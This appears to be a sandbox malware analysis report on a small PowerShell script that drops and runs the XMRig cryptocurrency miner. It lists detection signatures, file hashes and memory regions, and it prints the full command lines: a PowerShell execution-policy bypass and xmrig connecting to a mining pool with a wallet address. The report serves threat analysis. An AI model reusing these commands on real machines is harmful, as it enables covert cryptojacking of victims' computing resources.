Resubmissions

27/05/2024, 18:28

240527-w4c4xsdc7w 10

27/05/2024, 18:28

240527-w4c4xsdc7v 10

27/05/2024, 18:28

240527-w4cs6aed49 10

27/05/2024, 18:28

240527-w4cs6aed48 10

27/05/2024, 18:28

240527-w4cs6aed47 10

27/05/2024, 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1798s
  • max time network
    1767s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/05/2024, 18:28

General

  • Target

    file01 - copia (4).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 57 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (4).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4132

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j5yji2q3.5r2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    1.8MB

    MD5

    7ede7c6c3f3953f98799c9661aff1724

    SHA1

    da8959d8632629cece8d133688b4f300f0d7cd0e

    SHA256

    8dda61d16e047538b6b5df3da3aee1fcef53e7dc5a7d01aaabf6e987e473a7ce

    SHA512

    39ebec4a2225952ce58b1fb3a31d1b8fdb20bc81eddffa247f523d7b1cd6cd6b51afed0a84b244b871a74eaf26cd7238b9b58fef732c187deadb78aeaddfefa0

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

    Filesize

    5.9MB

    MD5

    1417e59e62779a879aa642fa6cd33b00

    SHA1

    a1466aa74e342bf78f9ed1afc07681352693ab7a

    SHA256

    e711e8e3815583d88403187b8183ee0ec009393468adf2433e402ce5a5ea6e54

    SHA512

    d1116b5e84758bbe154306c9387861b53e823eb59d1a5d45d7308e95f97d26a76e569f7409a16cb7826deb84103de9ef651e313b37384da2bb1c188f7ab27260

  • memory/2488-9-0x000001A344480000-0x000001A3444A2000-memory.dmp

    Filesize

    136KB

  • memory/2488-0-0x00007FFED5A23000-0x00007FFED5A25000-memory.dmp

    Filesize

    8KB

  • memory/2488-10-0x00007FFED5A20000-0x00007FFED64E2000-memory.dmp

    Filesize

    10.8MB

  • memory/2488-11-0x00007FFED5A20000-0x00007FFED64E2000-memory.dmp

    Filesize

    10.8MB

  • memory/2488-12-0x00007FFED5A20000-0x00007FFED64E2000-memory.dmp

    Filesize

    10.8MB

  • memory/2488-15-0x000001A344500000-0x000001A34450A000-memory.dmp

    Filesize

    40KB

  • memory/2488-14-0x000001A344510000-0x000001A344522000-memory.dmp

    Filesize

    72KB

  • memory/2488-49-0x00007FFED5A20000-0x00007FFED64E2000-memory.dmp

    Filesize

    10.8MB

  • memory/2488-53-0x00007FFED5A23000-0x00007FFED5A25000-memory.dmp

    Filesize

    8KB

  • memory/2488-54-0x00007FFED5A20000-0x00007FFED64E2000-memory.dmp

    Filesize

    10.8MB

  • memory/4132-76-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-84-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-48-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-51-0x000002A390410000-0x000002A390430000-memory.dmp

    Filesize

    128KB

  • memory/4132-50-0x000002A3903F0000-0x000002A390410000-memory.dmp

    Filesize

    128KB

  • memory/4132-52-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-55-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-56-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-58-0x000002A390410000-0x000002A390430000-memory.dmp

    Filesize

    128KB

  • memory/4132-57-0x000002A3903F0000-0x000002A390410000-memory.dmp

    Filesize

    128KB

  • memory/4132-59-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-60-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-61-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-62-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-63-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-64-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-65-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-66-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-67-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-68-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-69-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-70-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-71-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-72-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-73-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-74-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-75-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-46-0x000002A38EBD0000-0x000002A38EBF0000-memory.dmp

    Filesize

    128KB

  • memory/4132-77-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-78-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-79-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-80-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-81-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-82-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-83-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-47-0x000002A3903D0000-0x000002A3903F0000-memory.dmp

    Filesize

    128KB

  • memory/4132-85-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-86-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-87-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-88-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-89-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-90-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-91-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-92-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-93-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-94-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-95-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-96-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-97-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-98-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-99-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-100-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-101-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-102-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-103-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-104-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-105-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-106-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-107-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-108-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-109-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-110-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-111-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-112-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-113-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-114-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-115-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-116-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB

  • memory/4132-117-0x00007FF6D0B60000-0x00007FF6D1793000-memory.dmp

    Filesize

    12.2MB